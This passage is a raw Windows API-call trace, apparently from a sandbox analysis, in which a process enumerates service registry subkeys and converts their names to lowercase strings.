cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0253.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.491] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0253.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0253.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.491] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0253.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0253.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.491] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0253.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0253.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.491] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.491] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0253.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.491] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.491] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1c40, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0253.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.492] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0253.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0253.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.492] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.492] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0253.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.492] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.492] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1c40, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0253.492] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0253.492] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0253.492] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0253.492] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0253.493] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0253.493] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0253.493] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0253.493] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0253.493] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0253.493] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0253.493] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0253.493] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0253.493] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0253.493] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0253.493] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0253.493] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0253.493] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0253.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0253.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0253.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0253.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0253.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0253.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0253.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0253.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0253.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0253.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0253.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0253.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0253.494] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0253.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0253.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0253.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0253.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0253.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0253.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0253.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0253.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0253.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0253.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0253.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0253.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0253.495] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0253.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0253.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0253.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0253.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0253.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0253.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0253.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0253.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0253.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0253.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0253.496] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0253.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0253.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0253.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0253.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0253.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0253.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0253.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0253.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0253.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0253.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0253.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0253.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0253.497] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0253.498] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0253.498] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0253.498] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0253.498] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0253.498] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0253.498] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0253.498] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0253.498] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0253.498] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0253.498] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0253.498] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0253.498] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0253.498] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0253.499] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0253.499] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0253.499] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0253.499] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0253.499] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0253.499] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0253.499] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0253.499] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0253.499] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0253.499] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0253.499] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0253.499] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0253.499] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0253.500] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0253.500] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0253.500] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0253.500] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0253.500] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0253.500] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0253.500] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0253.500] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0253.500] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0253.500] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0253.500] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0253.500] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0253.500] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0253.500] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0253.501] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0253.501] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0253.501] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0253.501] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0253.501] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0253.501] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0253.501] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0253.501] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0253.501] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0253.501] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0253.501] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0253.501] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0253.501] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0253.502] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0253.502] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0253.502] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0253.502] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0253.502] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0253.502] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0253.502] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0253.502] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0253.502] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0253.502] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0253.502] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0253.502] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0253.502] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0253.503] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0253.503] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0253.503] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: 